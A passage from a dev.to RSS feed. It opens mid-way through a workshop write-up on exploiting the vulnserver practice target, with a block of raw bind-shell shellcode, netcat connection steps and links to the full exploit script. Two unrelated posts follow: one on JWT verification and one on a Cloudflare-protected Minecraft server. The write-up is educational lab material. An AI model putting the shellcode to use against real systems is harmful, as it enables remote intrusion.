"\x53\x31\x5a\x12\x83\xea\xfc\x03\xda\x93\x33\xbd\x26\x43\x31"
"\x3e\xd6\x94\x56\xb6\x33\xa5\x56\xac\x30\x96\x66\xa6\x14\x1b"
"\x0c\xea\x8c\xa8\x60\x23\xa3\x19\xce\x15\x8a\x9a\x63\x65\x8d"
"\x18\x7e\xba\x6d\x20\xb1\xcf\x6c\x65\xac\x22\x3c\x3e\xba\x91"
"\xd0\x4b\xf6\x29\x5b\x07\x16\x2a\xb8\xd0\x19\x1b\x6f\x6a\x40"
"\xbb\x8e\xbf\xf8\xf2\x88\xdc\xc5\x4d\x23\x16\xb1\x4f\xe5\x66"
"\x3a\xe3\xc8\x46\xc9\xfd\x0d\x60\x32\x88\x67\x92\xcf\x8b\xbc"
"\xe8\x0b\x19\x26\x4a\xdf\xb9\x82\x6a\x0c\x5f\x41\x60\xf9\x2b"
"\x0d\x65\xfc\xf8\x26\x91\x75\xff\xe8\x13\xcd\x24\x2c\x7f\x95"
"\x45\x75\x25\x78\x79\x65\x86\x25\xdf\xee\x2b\x31\x52\xad\x23"
"\xf6\x5f\x4d\xb4\x90\xe8\x3e\x86\x3f\x43\xa8\xaa\xc8\x4d\x2f"
"\xcc\xe2\x2a\xbf\x33\x0d\x4b\x96\xf7\x59\x1b\x80\xde\xe1\xf0"
"\x50\xde\x37\x6c\x58\x79\xe8\x93\xa5\x39\x58\x14\x05\xd2\xb2"
"\x9b\x7a\xc2\xbc\x71\x13\x6b\x41\x7a\x3c\x63\xcc\x9c\x28\x6b"
"\x98\x37\xc4\x49\xff\x8f\x73\xb1\xd5\xa7\x13\xfa\x3f\x7f\x1c"
"\xfb\x15\xd7\x8a\x70\x7a\xe3\xab\x86\x57\x43\xbc\x11\x2d\x02"
"\x8f\x80\x32\x0f\x67\x20\xa0\xd4\x77\x2f\xd9\x42\x20\x78\x2f"
"\x9b\xa4\x94\x16\x35\xda\x64\xce\x7e\x5e\xb3\x33\x80\x5f\x36"
"\x0f\xa6\x4f\x8e\x90\xe2\x3b\x5e\xc7\xbc\x95\x18\xb1\x0e\x4f"
"\xf3\x6e\xd9\x07\x82\x5c\xda\x51\x8b\x88\xac\xbd\x3a\x65\xe9"
"\xc2\xf3\xe1\xfd\xbb\xe9\x91\x02\x16\xaa\xa2\x48\x3a\x9b\x2a"
"\x15\xaf\x99\x36\xa6\x1a\xdd\x4e\x25\xae\x9e\xb4\x35\xdb\x9b"
"\xf1\xf1\x30\xd6\x6a\x94\x36\x45\x8a\xbd";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Final test
&lt;/h3&gt;

&lt;p&gt;Exit the debugger, run &lt;code&gt;vulnserver&lt;/code&gt; in the victim's machine, then run the exploit script in Kali.&lt;/p&gt;

&lt;p&gt;After 5 seconds, connect to the remote machine via port 9999 and you should be able to connect to the Windows bind shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc 172.16.202.133  9999
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's the complete &lt;code&gt;exp.py&lt;/code&gt; file:&lt;br&gt;
&lt;a href="https://drive.google.com/file/d/1lqnOAvZAnDs4fvJqaYSU20l-DcXMqqmH/view"&gt;https://drive.google.com/file/d/1lqnOAvZAnDs4fvJqaYSU20l-DcXMqqmH/view&lt;/a&gt;&lt;br&gt;
&lt;a href="https://pastebin.com/fAh45H3T"&gt;https://pastebin.com/fAh45H3T&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Thoughts
&lt;/h2&gt;

&lt;p&gt;It was a fun hands-on workshop that allows me to practice some advanced pentest technique, writing shellcodes and debugging. This workshop requires a basic understanding of buffer overflow and the different registers in assembly language as pre-requisite knowledge.&lt;/p&gt;

&lt;p&gt;Arnold was a very patient instructor and helped all participants with varying skill levels to understand the concepts.&lt;/p&gt;

&lt;p&gt;As a disclaimer, I might have skipped some steps or explanations in this post, but this by no means was meant to be a thorough walkthrough. It only serves its purpose as my personal notes so that I can remember what I learned during the workshop.&lt;/p&gt;

&lt;p&gt;Please read the original tutorial in Anthony's blog &lt;a href="http://infosecflash.com/2021/06/11/rebind-socket-shellcode/"&gt;here&lt;/a&gt; for more holistic view of the technique and feel free to contact him if you wish to attend similar workshops in the future.&lt;/p&gt;

</description>
      <category>shellcode</category>
      <category>pentest</category>
      <category>assembly</category>
      <category>debugging</category>
    </item>
    <item>
      <title>Should I always verify JSON Web Tokens?</title>
      <dc:creator>Faiz Azhar</dc:creator>
      <pubDate>Sun, 19 Apr 2020 16:52:25 +0000</pubDate>
      <link>https://dev.to/gabanz/should-i-always-verify-json-web-tokens-346l</link>
      <guid>https://dev.to/gabanz/should-i-always-verify-json-web-tokens-346l</guid>
      <description>&lt;p&gt;I like one of the answers in this &lt;a href="https://www.reddit.com/r/aws/comments/fzo9b6/should_i_always_verify_json_web_tokens_that_get/"&gt;Reddit post&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Allow or deny at entrance
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qCO_15v0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/uba055wi26ubp3hmz6l2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qCO_15v0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/uba055wi26ubp3hmz6l2.jpg" alt="Verify ticket at the entrance"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"Imagine you run a theme park with a whole bunch of rides. People pay once at the entrance gate and can go on any rides they want, so you assume that anyone who gets into the park must have paid their way in, so you don't think you need to check if people have paid before they get on the rides."&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This is the analogy of the traditional VPN.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Check presence of ticket for every rides
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ytexLRJM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/2vng3dvqhnkuthsx2xs3.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ytexLRJM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/2vng3dvqhnkuthsx2xs3.jpg" alt="Verify ticket for every rides"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"You realise that some people are climbing over the fence and getting on all the rides for free. You decide to issue everyone who comes through the entrance with a ticket, and instruct your ride operators to check that people have tickets before letting them on the ride."&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This is the analogy of the zero-trust model.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Verify the validity of the tickets
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3o9tGTBh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/azlp0r5qjneoxi1vcgxo.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3o9tGTBh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/azlp0r5qjneoxi1vcgxo.jpg" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"This works for a while, but soon you realise that people are buying one ticket then climbing over the fence on their subsequent visit, only paying once instead of twice. Even worse, some people bought one ticket and are now giving away photocopies of it for free. To fix this you get your salesperson to write the date when the ticket was issued on the ticket and sign it. You then tell the ride operators to make sure that the ticket is in date and the signature matches. Now you know that a ticket came from your salesperson, and it can only be used once."&lt;/em&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Lessons
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;If you don't check your JWTs at all, literally anyone could get data from your API. &lt;/li&gt;
&lt;li&gt;If you check for the presence of a JWT but don't verify it, people can present whatever JWT they want and get the API to think that they're anyone.&lt;/li&gt;
&lt;li&gt;Your API is only secure if you verify that you trust it before using it.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>json</category>
      <category>jwt</category>
      <category>zerotrust</category>
      <category>security</category>
    </item>
    <item>
      <title>How to create your own Minecraft server and protect it from DDoS attacks</title>
      <dc:creator>Faiz Azhar</dc:creator>
      <pubDate>Sun, 19 Apr 2020 09:46:29 +0000</pubDate>
      <link>https://dev.to/gabanz/how-to-create-your-own-minecraft-server-and-protect-it-from-ddos-attacks-30mg</link>
      <guid>https://dev.to/gabanz/how-to-create-your-own-minecraft-server-and-protect-it-from-ddos-attacks-30mg</guid>
      <description>&lt;p&gt;Cloudflare &lt;a href="https://blog.cloudflare.com/cloudflare-for-ssh-rdp-and-minecraft/"&gt;announced a few days ago&lt;/a&gt; that they are extending their Spectrum product, previously only available for Enterprise Plan, to Pro and Business Plan customers. Cloudflare has been offering reverse proxy services for HTTP and HTTPS traffic for years, but with Spectrum, it extends the security and performance benefits such as advanced DDoS attack protection and Argo Smart Routing technology to arbitrary TCP and UDP protocols, this includes SSH and Minecraft traffic. This is a good news for hobbyists, startups and small-medium size enterprises who need the enterprise-grade security but can't afford the Enterprise Plan.&lt;/p&gt;

&lt;p&gt;I came across a Terraform recipe to automatically create an &lt;a href="https://www.futurice.com/blog/friends-and-family-minecraft-server-terraform-recipe"&gt;economical Minecraft server in a docker container running in Google Cloud&lt;/a&gt;. I can't remember how many times I forgot to turn off test resources running on a cloud services, only to be surprised by the bills later. By using preemptible instance, the VM will shut down automatically after 24 hours, but persists the world between sessions due to having a persistent disk. A reserved public IP is not really needed if you're using this recipe since you're connecting to the Spectrum app hostname instead of the IP address, but nice to have. This setup is perfect for me and my family to play occasionally.&lt;/p&gt;

&lt;p&gt;This post explains how I extended the Terraform recipe to proxy the Minecraft and SSH traffic with Cloudflare Spectrum, adding an additional security layer to the server.&lt;/p&gt;

&lt;p&gt;First, I installed &lt;a href="https://learn.hashicorp.com/terraform/getting-started/install.html"&gt;Terraform&lt;/a&gt;, making sure that the version is at least v0.12 and above.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terraform version
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;I'm using &lt;a href="https://cloud.google.com/sdk/docs/quickstarts"&gt;gcloud&lt;/a&gt; command line tool to manage resources in Google Cloud. First, we'll need to authenticate the SDK to Google Cloud&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcloud auth application-default login
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Next, I'll get the Project ID and save it in an environment variable to be used later. This is the project under which the resources created in Google Cloud will be charged for.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DEVSHELL_PROJECT_ID="$(gcloud config get-value project)"
echo $DEVSHELL_PROJECT_ID
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Next, I created a service account to authorize Terraform to manage the resources under the project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcloud iam service-accounts create terraform --display-name "Terraform service account"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;I created the service account key in JSON format to be used in the Terraform recipe. Here's where the project ID we exported previously in the environment variable is used for. This key can only be created once, so please remember where you downloaded it - in this case it is saved as &lt;code&gt;key.json&lt;/code&gt; in the current directory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcloud iam service-accounts keys create ./key.json \
  --iam-account terraform@$DEVSHELL_PROJECT_ID.iam.gserviceaccount.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Next, we will clone the repository containing the Terraform recipe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/gabanz/minecraft-spectrum-terraform
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;By default, Terraform will use a local backend to manage the state. However since I use Cloudflare frequently, I prefer to use Cloudflare Workers as the remote backend. Remote backend is especially useful if you work in a team with a few developers modifying the Terraform recipes at the same time. You can follow the guide &lt;a href="https://github.com/gabanz/terraform-backend-cloudflare-workers"&gt;here&lt;/a&gt; to setup. To use, I simply dropped the &lt;a href="https://github.com/gabanz/terraform-backend-cloudflare-workers/blob/master/example/backend.tf"&gt;&lt;code&gt;backend.tf&lt;/code&gt;&lt;/a&gt; file describing the remote backend into the repository. However if you're the only person using the Terraform recipe, feel free to skip this and use the default local backend instead.&lt;/p&gt;

&lt;p&gt;Next, I created Cloudflare API Token to authorize Terraform to manage resources in Cloudflare. Spectrum requires &lt;code&gt;Zone Settings:Edit&lt;/code&gt; permission, so I added this one.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--r8MWO8sD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ap83emwy54zjq9iz1427.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--r8MWO8sD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ap83emwy54zjq9iz1427.png" alt="API Token authorizing Terraform to manage zone settings"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I opened &lt;code&gt;terraform.tfvars&lt;/code&gt; file in a text editor to add the generated API token, along with other values pertaining to the Cloudflare and Google Cloud account that I'm using.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Cloudflare
cloudflare_api_token = "YOUR_CLOUDFLARE_API_TOKEN"
cloudflare_zone_id = "YOUR_CLOUDFLARE_ZONE_ID"
cloudflare_spectrum_hostname = "YOUR_SPECTRUM_HOSTNAME"

# GCP
gcp_project = "YOUR_GCP_PROJECT_ID"
credentials_file = "key.json"
gcp_region = "asia-southeast1"
gcp_zone = "asia-southeast1-b"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;When ready, I initialized Terraform in the directory containing the repository.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terraform init
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;I'd like to check all the resources that will be created first before we go ahead creating them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terraform plan
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;If there's any errors, I'll add debug or trace level logging for additional information that will be useful to understand what went wrong, and run the &lt;code&gt;terraform plan&lt;/code&gt; command again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TF_LOG=trace
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Once everything's good, I run the following command to let Terraform create the resources in Google Cloud and Cloudflare.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terraform apply 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This will seamlessly create the preemptible VM instance with docker container &lt;a href="https://hub.docker.com/r/itzg/minecraft-server/"&gt;&lt;code&gt;itzg/minecraft-server&lt;/code&gt;&lt;/a&gt; (feel free to change this to other container that you prefer) in a private network, segregated with a firewall that only allows Minecraft and SSH traffic from &lt;a href="https://www.cloudflare.com/ips-v4"&gt;Cloudflare IPv4 IP ranges&lt;/a&gt;. This will ensure that no one will be able to directly scan or attack the server directly without proxying through Cloudflare. When connecting to the server from the Minecraft or SSH client, we'll have to specify the Spectrum app hostname (e.g. minecraft.example.com) instead of the IP address.&lt;/p&gt;

&lt;p&gt;When I'm done, I can simply stop the VM instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcloud compute instances stop minecraft
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Or if I don't need them anymore, I can destroy all the resources with a single command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terraform destroy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h3&gt;
  
  
  Cost estimate
&lt;/h3&gt;

&lt;p&gt;Approximate operating cost for Google Cloud is just slightly above $2 if I run it for 24 hours.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Resources&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reserved IP address&lt;/td&gt;
&lt;td&gt;$1.46/month&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reserved 10Gb disk&lt;/td&gt;
&lt;td&gt;$0.40&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Preemptible VM instance&lt;/td&gt;
&lt;td&gt;$0.01/hour&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;We do need to have a paid plan with Cloudflare to use Spectrum though, but a Pro Plan will suffice for this use case. &lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Cloudflare Plan&lt;/th&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Data Allowance&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;$0/month&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pro&lt;/td&gt;
&lt;td&gt;SSH, Minecraft&lt;/td&gt;
&lt;td&gt;5GB/month&lt;/td&gt;
&lt;td&gt;$20/month&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Business&lt;/td&gt;
&lt;td&gt;SSH, Minecraft, RDP&lt;/td&gt;
&lt;td&gt;10GB/month&lt;/td&gt;
&lt;td&gt;$200/month&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enterprise&lt;/td&gt;
&lt;td&gt;SSH, Minecraft, RDP&lt;/td&gt;
&lt;td&gt;10GB/month&lt;/td&gt;
&lt;td&gt;Custom price&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The bandwidth we're paying are basically for Argo Smart Routing, the same technology behind the hugely popular Cloudflare VPN app &lt;a href="https://blog.cloudflare.com/1111-warp-better-vpn"&gt;Warp+&lt;/a&gt;. After the free cap we will be billed &lt;a href="https://support.cloudflare.com/hc/en-us/articles/360041721872"&gt;$1/GB&lt;/a&gt;. Traffic generated from DDoS attacks do not incur charges.&lt;/p&gt;

&lt;p&gt;This was a good self-quarantine weekend project for me. Play safely, everyone!&lt;/p&gt;

</description>
      <category>minecraft</category>
      <category>cloudflare</category>
      <category>gcp</category>
      <category>terraform</category>
    </item>
  </channel>
</rss>
